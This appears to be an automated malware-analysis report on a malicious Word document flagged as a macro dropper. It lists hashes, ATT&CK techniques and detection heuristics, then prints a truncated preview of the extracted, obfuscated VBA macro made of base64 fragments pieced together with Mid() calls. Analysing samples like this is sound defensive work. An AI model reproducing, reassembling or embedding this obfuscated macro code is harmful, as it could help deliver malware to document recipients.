Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 23a51f66a68384dc…

MALICIOUS

Office (OLE)

71.0 KB Created: 2017-11-02 19:38:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 2cd9cf09d4c89a7f690f6daf21a61c9d SHA-1: 5427dcc8afe8d09b6d4c8a52240f69d6f4e57406 SHA-256: 23a51f66a68384dc94288482c814d74513c8a5ad5540aed1e158f07fb4dd97cc
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, a critical indicator of execution, and is flagged by ClamAV as a dropper. The presence of the AutoOpen macro and the Shell() call strongly suggests the document's purpose is to download and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6388316-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6388316-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11949 bytes
SHA-256: b50bcbe9aad5ccb4c5d045f80af390b04a3936996046c77ae65843ebf06e5e8b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 31 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AUQWsPodY"
Function cElncNiaY()
SuCfFV = Mid("EVdNXbBU7UtAANAAxACAALAA1ADkAIAAsADMANgAgACwAIAAxADEofTh50STp3fKz1zXSzc", 12, 41)
zsUrR = Mid("OD49DFZ3fQ06rWcqnADEANAAgACwAIAAxADAAOAAsACAAMQAxADUAIAAsACAANAAxACwAMQAyADMAIAAsADEAMQsr61n0r", 18, 70)
hdDXjwV = Mid("X4ITCwAwzsWEBtEpAMQAxADEALAAxADEANAAsACAAMQAwADEALAAgADkANwAsACAAOQA5ACwAIAAxADAANAAsACAANAAwACwAIAAzADYALAAxADEANwAgACwAMQAxADQALAAxADAAOAAsACAAMwAyACwAIAAxADAANQAsADEAMQAwACAALAAzADIALAAgADMANgAsADEAMQA3ACAALAAxTA6lYm", 17, 197)
JZGaqv = Mid("t46VdMwAAMgAgACwAOQA3ACAALAAxADEANgAgACwAMQAwADQALAAzADIAIAAsADYAMQAgACwAIAAzADwX8oSOYowz7REw5QFD", 9, 71)
ojlcnPFiPD = Mid("k7FfACAAMQAwADgAIAAsACAAMQAwADUALAAxADAAMQAsACAAMQAxADAALAAgADEAMQA2ACwANAA2ACAALAA2ADgAIAAsACAAMQAxADEAIAAsADEAMQA5ACAALAAxADEAMAAgACwAIAAxADAAOAAgACwAIAAxADEAMQAgACwAOQA3ACAALAAg6SA43I61U", 5, 176)
oRKlFCCYuPE = Mid("XfGKADEAMgAsADUAOAAgACwANAA3ACwAIAA0ADcALAAxADAAMAAsACAAMQAwADEAIAAsADEAMQA0ACwANAA1ACwAMQAwADEALAAgADEAMAAwACwAIAAxADAAMQAgACwANAA2ACAALAAxADAAMAAgACwAMQAwADEAIAAsADQANwAgACwAOAAyACMlJQ7wb939UVnwzzJRprcwoJqzat", 5, 178)
MPHNj = Mid("pjiKzEifLuu7M8zFYTTp6nj7zLwoh3UVXa9AsADEAMQAwACAALAAgADQANgAgACwANwA3ACwAMQAwADEALAAxADEANQAsACAAMQAxADUAIAAsADkANwAsADEAMAAzACwAMQAwADEAIAAsACAANQA5ACAALAAxADIANQAsADEAMgA1ACkAIAB8ACAAdrO", 36, 150)
UJQuVf = Mid("CEZXf6PVd1itzpwdjVAgAIAAsACAANgA3ACwAMQAwADgALAAxADAANQAgACwAIAAxADAAMQAgACwAIAAxADEAMAAsACAAMQAxADYAIAAsACAANQA5ACAALAAzADYALAAxADEANAAsADkANwAgACwAIAAxADEAMAAgACwAIAAxADAAMAAgACwAMQAxFH", 20, 166)
PMjBGR = Mid("wHOFl6M0zYQnGMcrcVaAzoACwAIAA0ADcAIAAsADQAOAAgACwANQA1ACAALAAgADQANgAgACwAMQAxADUAIAAsADEAMAA3ACwANAA3ACwANwAyACwAIAA0ADcAIAAsACAAMwA5ACwANAWYj5iYqT2JI", 23, 118)
YMzWhfK = Mid("87q759AnJ0FiFMo4luAANAA3ACwAMQAxADUAIAAsADEAMQAxACAALAAxADAAMAAgACwAMQAwADEAIAAsADEAMQAwACAALAAxADAANwAsACAAOQA3ACwAIAAxADAAOQAsACAAMQAxADIALAA0ADYALAAgADkAOQiHbKTYqM1EwiUnMioIIU2", 19, 140)
zmNkkZmSMW = Mid("u9jnZ9YXR41DFsdkcADEAIAAsACAAMQAwv4zwdSa4XzzF", 18, 16)
sitAwHp = Mid("tClACwAIAA0ADcAIAAsADQANAAgACwAIAAqBPbKYqdHjndQFRnCEYikjropKpXSpzNWtP", 4, 31)
FdIrJzLn = Mid("8qVmcSIiOA0ADUAIAAsADYANwAsADEAMQAxACAALAAxADAAOQAsADcAOQAsACAAOQA4ACwAIAAxADAANgAsACAAMQAwADEAIAAsADkAOQAgACwAIXFSvhC2iWV", 10, 103)
twoan = Mid("83SREdAiHkQO79AAxADEANgAsADMAMgAgACwAIAA4ADcAIAAsACAAOAAzACwAIAA5ADkAIAAsACAAMQAxADQAIAAsACAAMQAwADUALAAxADEAMgAgACwAMQAxADYAIAAsACAANAA2ACAALAA4ADMALAAxADAANAAgACwAMQAwADEALAAgADEAMAA4ACwAMbR2tB60R3F1366sW", 15, 176)
rPACzwNw = Mid("hkzE7PuANwAgACwAOQA5ACAALAAxADEANgAgACwAMQAwADUAIAAsADEAMAAxACAALAAgADEAMQA4ACAALAAgADEAMAAxzGKPLacSWswVJoi4VzDzqqwfc", 8, 85)
KOdzciUpPXw = Mid("7Bu2wz1dUO1CJzwcwhYj 5DMocCQAxADEAIAAsACAAOQA5ACAALAAxADAAMQAgACwunC7ikHz", 28, 38)
AiCBid = Mid("wURQKTAIAAxADEAMAAgACwAIAAxADAAMQAgACwAMQAnnfJVDOYaQQ8MuiOsw9r", 7, 36)
MOwXjjwTCh = Mid("aiz0ZfU5ZvmoXAqhkVmGIAAsACMnvu5U", 21, 6)
ilPGaN = Mid("4LC2fUVM7HjiOZjSW3kEtXKpjfA2ACAALAAxADEANAAsACAAMQAyADEAIAAsACAAMQAyADMAIAAsADMANgZ9tLwR", 27, 56)
GkMJnikjZ = Mid("s3qkv9w8ZgBPAFIARQBhAEMASAAtAG8AQgBqAEUAQwhsTJFrXi4NZrci55ImT3VlbEjHqjfr", 9, 34)
sJHnPmjLzbR = Mid("h3FJ9oA2ACwAIAA4ADMAIAAsACAAMQAxADIALAAgADEAMAA4ACAALAAgADEAMAA1ACwAMQAxADYALAAgADQAMAAgACwAMwA5ACAALAAgADQANAAsAhhCaA", 7, 107)
WwimL = Mid("KFLAAgADMAMgAgACwANAAzACwAIAAzADIALAAzADYAIAAsADEAMQAwACAALAA5ADcALAAgADEAMAA5ACwAMQAwADEAIAAsACAAMwAyACwAIAA0ADMAIAAsADMAMtiOwbJBXEQzG8fHXkFpsrfLc8Zpfufi5S", 3, 121)
qUvbmH = Mid("qwkdtZrpBkxADAANAAsADEAMQA2ACAALAAgADEAMQA2ACAALAAgADEAMQAyACwAIAA1ADgALAA0ADcALAA0ADcALAAgADkANwAsACAAMQAxADUAIAAsACAAOQA5ACwAMQAxADEAIAAsACAANAA1ACAALAAxADEANgAsADEAMAAxACwAIAA5wWo1bv", 11, 169)
MPsYNmkKXc = Mid("Vc5uiVRSKXNmrxADkAIAAsADEAMAAxACAALAAgADkAOAAsACAAOQA5ACwAIAAxADAAOAAgACwAIAAxADAANQAgACwAMQAwADEAIAAsACrpbZJ2KREidEDiwaAMzG", 14, 91)
qSmoOBwjlf = Mid("MiiHb90mPtcP40RNviqE
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.